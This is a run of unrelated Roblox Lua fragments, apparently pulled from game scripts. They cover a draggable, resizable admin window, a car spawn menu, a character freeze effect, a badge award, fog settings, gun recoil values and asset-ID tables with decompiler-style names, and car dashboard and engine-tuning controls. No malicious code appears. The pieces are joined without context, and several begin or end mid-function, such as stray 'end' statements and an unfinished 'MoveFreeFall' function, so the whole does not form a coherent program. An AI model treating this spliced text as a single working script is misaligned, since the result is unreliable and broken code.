Main.Size.Y.Offset)) end Resizing = nil Mouse.Icon = curIcon --DragEnabled = true --if Walls then -- wallPosition() --end end end local function inputMoved(x, y) if gTable.Active then if Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then curIcon = Mouse.Icon end if Resizing then local moveX = false local moveY = false local newPos = Drag.Position local xPos, yPos = x, y local newX, newY = startXSize, startYSize --DragEnabled = false if Resizing == "TopRight" then newX = (xPos - startXPos) + 3 newY = (startYPos - yPos) + startYSize -1 moveY = true elseif Resizing == "TopLeft" then newX = (startXPos - xPos) + startXSize -1 newY = (startYPos - yPos) + startYSize -1 moveY = true moveX = true elseif Resizing == "RightCorner" then newX = (xPos - startXPos) + 3 newY = (yPos - startYPos) + 3 elseif Resizing == "LeftCorner" then newX = (startXPos - xPos) + startXSize + 3 newY = (yPos - startYPos) + 3 moveX = true elseif Resizing == "LeftSide" then newX = (startXPos - xPos) + startXSize + 3 newY = startYSize moveX = true elseif Resizing == "RightSide" then newX = (xPos - startXPos) + 3 newY = startYSize elseif Resizing == "Bottom" then newX = startXSize newY = (yPos - startYPos) + 3 elseif Resizing == "Top" then newX = startXSize newY = (startYPos - yPos) + startYSize - 1 moveY = true end if newX < MinSize[1] then newX = MinSize[1] end if newY < MinSize[2] then newY = MinSize[2] end if newX > MaxSize[1] then newX = MaxSize[1] end if newY > MaxSize[2] then newY = MaxSize[2] end if moveX then newPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset) end if moveY then newPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY) end Drag.Position = newPos Drag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset) Main.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY) if not Titlef.TextFits then Titlef.Visible = false else Titlef.Visible = true end else checkMouse(x, y) end end end Event(InputService.InputBegan, function(input, gameHandled) if not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then local Position = input.Position inputStart(Position.X, Position.Y) end end) Event(InputService.InputChanged, function(input, gameHandled) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then local Position = input.Position inputMoved(Position.X, Position.Y) end end) Event(InputService.InputEnded, function(input, gameHandled) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then inputEnd() end end) --[[Event(Mouse.Button1Down, function() if gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then Resizing = inFrame startXPos = Drag.AbsolutePosition.X startYPos = Drag.AbsolutePosition.Y startXSize = Drag.AbsoluteSize.X startYSize = Main.AbsoluteSize.Y checkMouse() end end) Event(Mouse.Button1Up, function() if gTable.Active then if Resizing and onResize then onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset)) end Resizing = nil Mouse.Icon = curIcon --if Walls then -- wallPosition() --end end end)--]] else LeftSizeIcon.Visible = false RightSizeIcon.Visible = false end Close.MouseButton1Click:Connect(function() clickSound:Play() doClose() end) Hide.MouseButton1Click:Connect(function() clickSound:Play() doHide() end) Close.MouseButton1Down:Connect(function() RippleEffect(Close) end) Hide.MouseButton1Down:Connect(function() RippleEffect(Hide) end) gTable.CustomDestroy = function() service.UnWrap(GUI):Destroy() if client.Variables.MouseLockedBy == gTable then Mouse.Icon = curIcon client.Variables.MouseLockedBy = nil end if not isClosed then isClosed = true if onClose then onClose() end end end for i,child in next,GUI:GetChildren() do if child.Name ~= "Desc" and child.Name ~= "Drag" then specialInsts[child.Name] = child child.Parent = nil end end --// Drag & DisplayOrder Handler do local windowValue = Instance.new("BoolValue", GUI) local dragDragging = false local dragOffset local inFrame windowValue.Name = "__ADONIS_WINDOW" Event(Main.InputBegan, function(input) if gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then BringToFront() end end) Event(Drag.InputBegan, function(input) if gTable.Active then inFrame = true if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then BringToFront() end end end) Event(Drag.InputChanged, function(input) if gTable.Active then inFrame = true end end) Event(Drag.InputEnded, function(input) inFrame = false end) Event(InputService.InputBegan, function(input) if inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then dragDragging = true BringToFront() dragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y) end end) Event(InputService.InputChanged, function(input) if dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then Drag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y) end end) Event(InputService.InputEnded, function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragDragging = false end end) end --// Finishing up local api = apiIfy(ScrollFrame, data) local meta = api:GetMetatable() local oldNewIndex = meta.__newindex local oldIndex = meta.__index create("ScrollingFrame", nil, ScrollFrame) LoadChildren(api, Content) api:SetSpecial("gTable", gTable) api:SetSpecial("Window", GUI) api:SetSpecial("Main", Main) api:SetSpecial("Title", Titlef) api:SetSpecial("Dragger", Drag) api:SetSpecial("Destroy", doClose) api:SetSpecial("Close", doClose) api:SetSpecial("Object", ScrollFrame) api:SetSpecial("Refresh", DoRefresh) api:SetSpecial("AddTitleButton", function(ignore, data) if type(ignore) == "table" and not data then data = ignore end return addTitleButton(data) end) api:SetSpecial("Ready", function() if onReady then onReady() end gTable.Ready() BringToFront() end) api:SetSpecial("BindEvent", function(ignore, ...) Event(...) end) api:SetSpecial("Hide", function(ignore, hide) doHide(hide) end) api:SetSpecial("SetTitle", function(ignore, newTitle) Titlef.Text = newTitle end) api:SetSpecial("SetPosition", function(ignore, newPos) setPosition(newPos) end) api:SetSpecial("SetSize", function(ignore, newSize) setSize(newSize) end) api:SetSpecial("GetPosition", function() return Drag.AbsolutePosition end) api:SetSpecial("GetSize", function() return Main.AbsoluteSize end) api:SetSpecial("IsVisible", isVisible) api:SetSpecial("IsClosed", isClosed) meta.__index = function(tab, ind) if ind == "IsVisible" then return isVisible() elseif ind == "Closed" then return isClosed else return oldIndex(tab, ind) end end setSize(Size) setPosition(Position) if Ready then gTable:Ready() BringToFront() end return api,GUI end
--generate templates
function GT() ---Clean for _,v in pairs(ScrollFrame:GetChildren()) do if v:IsA("Frame") then v:Destroy() end end ---Generate for _,v in pairs(CarStorage:GetChildren()) do local Templatecopy = Template:Clone() Templatecopy.Parent = ScrollFrame Templatecopy.CarName.Text = v.Name Templatecopy.BuySpawn.VehicleName.Value = v.Name Templatecopy.ImageFrame.ImageLabel.Image = v.Image.Value end end GT()
--Made by Luckymaxer
Character = script.Parent Humanoid = Character:FindFirstChild("Humanoid") Head = Character:FindFirstChild("Head") Players = game:GetService("Players") Debris = game:GetService("Debris") Player = Players:GetPlayerFromCharacter(Character) Duration = script:FindFirstChild("Duration") BaseColor = BrickColor.new("Electric blue") DarkProperties = { All = { --BrickColor = BaseColor, Material = Enum.Material.Ice, TextureId = "", Texture = "", VertexColor = Vector3.new(BaseColor.Color.r, BaseColor.Color.g, BaseColor.Color.b), --BaseTextureId = 0, --OverlayTextureId = 0, SparkleColor = BaseColor.Color, Color = BaseColor.Color, SecondaryColor = BaseColor.Color, }, Class = { BasePart = { Reflectance = 1, Anchored = true, }, ParticleEmitter = { Color = ColorSequence.new(BaseColor.Color, BaseColor.Color), }, Sparkles = { Color = BaseColor.Color, SparkleColor = BaseColor.Color, }, Decal = { Texture = "", }, } } RemovedObjects = {} function GetAllInstances(Parent) local Instances = {} local function GetInstances(Parent) for i, v in pairs(Parent:GetChildren()) do table.insert(Instances, v) GetInstances(v) end end GetInstances(Parent) return Instances end function Freeze() local FrozenInstances = GetAllInstances(Character) OriginalInstances = {} for i, v in pairs(FrozenInstances) do local NewInstance = {Object = v, Properties = {}} local PropertiesAltered = {} if v:IsA("BasePart") and v.Name == "HumanoidRootPart" then elseif v:IsA("CharacterMesh") then local Mesh = Instance.new("SpecialMesh") Mesh.MeshType = Enum.MeshType.FileMesh Mesh.MeshId = ("http://www.roblox.com/asset/?id=" .. v.MeshId) for ii, vv in pairs(Character:GetChildren()) do if vv:IsA("BasePart") and v.BodyPart.Name == string.gsub(vv.Name, " ", "") then Mesh.Parent = vv table.insert(RemovedObjects, {Object = v, NewObject = Mesh, Parent = v.Parent}) v.Parent = nil end end elseif v:IsA("Decal") and v.Name == "face" then else for ii, vv in pairs(DarkProperties.All) do pcall(function() NewInstance.Properties[ii] = v[ii] PropertiesAltered[ii] = true v[ii] = vv end) end for ii, vv in pairs(DarkProperties.Class) do if v:IsA(ii) then for iii, vvv in pairs(vv) do --if not PropertiesAltered[iii] then pcall(function() NewInstance.Properties[iii] = v[iii] v[iii] = vvv end) --end end end end end table.insert(OriginalInstances, NewInstance) end end function Unfreeze() for i, v in pairs(RemovedObjects) do if v then if v.NewObject and v.NewObject.Parent then v.NewObject:Destroy() end v.Object.Parent = v.Parent end end for i, v in pairs(OriginalInstances) do if v.Object then for ii, vv in pairs(v.Properties) do pcall(function() v.Object[ii] = vv end) end end end end Freeze() if Duration and Duration.Value >= 0 then wait(Duration.Value) Unfreeze() end script:Destroy()
-- RightShoulder.MaxVelocity = 0.125 -- LeftShoulder.MaxVelocity = 0.125 -- RightShoulder.DesiredAngle = math.pi -- LeftShoulder.DesiredAngle = -math.pi -- RightHip.DesiredAngle = 0 -- LeftHip.DesiredAngle = 0
for _, motor in next, Limbs do if string.match(motor.Name, "Left") or string.match(motor.Name, "Front") or string.match(motor.Name, "Right") or string.match(motor.Name, "Back") then motor.DesiredAngle = 0 end end for _, motor in next, Joints do motor.MaxVelocity = 0.125 motor.DesiredAngle = -(math.pi * 0.5) end end function MoveFreeFall()
--DO NOT CHANGE
game.Players.PlayerAdded:connect(function(p) wait(TimeNo) b = game:GetService("BadgeService") b:AwardBadge(p.userId,BadgeID) end)
--Leonlai Fog Script. :D
wait(35) game.Lighting.FogStart = 10 game.Lighting.FogEnd = 120 game.Lighting.FogColor = Color3.new(0, 0, 1) game.Lighting.TimeOfDay = "00:00"
--// Tables
local L_97_ = { "285421759"; "151130102"; "151130171"; "285421804"; "287769483"; "287769415"; "285421687"; "287769261"; "287772525"; "287772445"; "287772351"; "285421819"; "287772163"; } local L_98_ = { "2282590559"; "2282583154"; "2282584222"; "2282584708"; "2282585118"; "2282586860"; "2282587182"; "2282587628"; "2282588117"; "2282588433"; "2282576973"; "2282577954"; "2282578595"; "2282579272"; "2282579760"; "2282580279"; "2282580551"; "2282580935"; "2282582377"; "2282582717"; "2282449653"; } local L_99_ = { "2297264589"; "2297264920"; "2297265171"; "2297265394"; "2297266410"; "2297266774"; "2297267106"; "2297267463"; "2297267748"; "2297268261"; "2297268486"; "2297268707"; "2297268894"; "2297269092"; "2297269542"; "2297269946"; "2297270243"; "2297270591"; "2297270984"; "2297271381"; "2297271626"; "2297272112"; "2297272424"; } local L_100_ = workspace:FindFirstChild("BulletModel: " .. L_2_.Name) or Instance.new("Folder", workspace) L_100_.Name = "BulletModel: " .. L_2_.Name local L_101_ local L_102_ = L_24_.Ammo local L_103_ = L_24_.StoredAmmo * L_24_.MagCount local L_104_ = L_24_.ExplosiveAmmo IgnoreList = { L_3_, L_100_, L_5_ }
-- MAIN --
local Sound = script.Parent.Parent.ButtonSound script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.TestFrame.Visible = true script.Parent.Parent.TestFrame.BackButton.Visible = true script.Parent.Visible = false script.Parent.Parent.PlayButton = false end) script.Parent.MouseEnter:Connect(function() Sound:Play() end) script.Parent.MouseLeave:Connect(function() Sound.Playing = false end)
--// Recoil Settings
camrecoil = 0.05; -- How much the camera flicks when not aiming AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming AimCamRecoil = 0.02; -- How much the camera flicks when aiming CamShake = 3; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING AimCamShake = 2; -- THIS IS ALSO NEW!!!! Kickback = 6; -- Upward gun rotation when not aiming AimKickback = 3; -- Upward gun rotation when aiming
--script.Parent.Player.Changed:connect(c3)
script.Parent.Parent.Changed:connect(c2) game.Workspace.GameInProgress.Changed:connect(gameEnded)
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent.Parent._Index local Package = require(PackageIndex["TestEZ"]["TestEZ"]) return Package
-- VARIABLES --
local Player = Players.LocalPlayer local Character local Humanoid local HRP local Tool = script.Parent local attackRemote = Remotes:WaitForChild("Attack") local Equipped = script:WaitForChild("Equipped")
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "k" then --Camera controls if cam == ("car") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Custom") cam = ("freeplr") Camera.FieldOfView = 70 elseif cam == ("freeplr") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Attach") cam = ("lockplr") Camera.FieldOfView = 45 elseif cam == ("lockplr") then Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") Camera.FieldOfView = 70 end elseif key == "u" then --Window controls if windows == false then winfob.Visible = true windows = true else windows = false winfob.Visible = false end elseif key == "[" then -- volume down if carSeat.Parent.Body.MP.Sound.Volume > 0 then handler:FireServer('updateVolume', -0.5) end elseif key == "]" then -- volume up if carSeat.Parent.Body.MP.Sound.Volume < 10 then handler:FireServer('updateVolume', 0.5) end elseif key == "f" then --FM Screen Switch handler:FireServer('FMSwitch') elseif key == "n" then --Mode Screen Switch handler:FireServer('IMode') elseif key == "j" then --seatlock if carSeat.Seatlock.Value == false then handler:FireServer('seatlock',true,0) else handler:FireServer('seatlock',false,12) end end end) for i,v in pairs(script.Parent:getChildren()) do if v:IsA('ImageButton') then v.MouseButton1Click:connect(function() if carSeat.Windows:FindFirstChild(v.Name) then local v = carSeat.Windows:FindFirstChild(v.Name) if v.Value == true then handler:FireServer('updateWindows', v.Name, false) else handler:FireServer('updateWindows', v.Name, true) end end end) end end HUB.Limiter.MouseButton1Click:connect(function() --Ignition if carSeat.IsOn.Value == false then carSeat.IsOn.Value = true carSeat.Startup:Play() wait(1) else carSeat.IsOn.Value = false end end) winfob.mg.Play.MouseButton1Click:connect(function() --Play the next song handler:FireServer('updateSong', winfob.mg.Input.Text) end) winfob.mg.Stop.MouseButton1Click:connect(function() --Play the next song handler:FireServer('pauseSong') end) carSeat.Indicator.Changed:connect(function() if carSeat.Indicator.Value == true then script.Parent.Indicator:Play() else script.Parent.Indicator2:Play() end end) carSeat.LI.Changed:connect(function() if carSeat.LI.Value == true then carSeat.Parent.Body.Dash.DashSc.G.Left.Visible = true script.Parent.HUB.Left.Visible = true else carSeat.Parent.Body.Dash.DashSc.G.Left.Visible = false script.Parent.HUB.Left.Visible = false end end) carSeat.RI.Changed:connect(function() if carSeat.RI.Value == true then carSeat.Parent.Body.Dash.DashSc.G.Right.Visible = true script.Parent.HUB.Right.Visible = true else carSeat.Parent.Body.Dash.DashSc.G.Right.Visible = false script.Parent.HUB.Right.Visible = false end end) while wait() do if carSeat.Parent:FindFirstChild("Body") then carSeat.Parent.Body.Dash.Speed.G.Speed.Text = math.floor(carSeat.Velocity.magnitude*((10/12) * (60/88))) end carSeat.Parent.Body.Dash.Screen.G.BG.Time.Text = game.Lighting.TimeOfDay carSeat.Parent.Body.Dash.Screen.G.Blank.Time.Text = game.Lighting.TimeOfDay end
--Tune
OverheatSpeed = .55 --How fast the car will overheat CoolingEfficiency = .08 --How fast the car will cool down RunningTemp = 60 --In degrees Fan = true --Cooling fan FanTemp = 110 --At what temperature the cooling fan will activate FanTempAlpha = 130 --At what temperature the cooling fan will deactivate FanSpeed = .08 --How fast the car will cool down FanVolume = .5 --Sound volume BlowupTemp = 130 --At what temperature the engine will blow up GUI = true --GUI temperature gauge
--[[ Database Description: A simple module to parse the hiearchy into a tree so that the tree data can be referenced by just requiring this module. Usage: To reference data, simply require this module and index the folder of your interest local ReplicateStorage = game:GetSerivce("ReplicatedStorage") local Database = require(ReplicatedStorage.Commons.Database) print( Database.Equipment.TestWeapon ) ]]
--// Event Connections
L_107_.OnClientEvent:connect(function(L_311_arg1, L_312_arg2) if L_311_arg1 ~= L_2_ then local L_313_ = L_311_arg1.Character local L_314_ = L_313_.AnimBase.AnimBaseW local L_315_ = L_314_.C1 if L_312_arg2 then L_119_(L_314_, nil , L_313_.Head.CFrame, function(L_316_arg1) return math.sin(math.rad(L_316_arg1)) end, 0.25) elseif not L_312_arg2 then L_119_(L_314_, nil , L_315_, function(L_317_arg1) return math.sin(math.rad(L_317_arg1)) end, 0.25) end end end)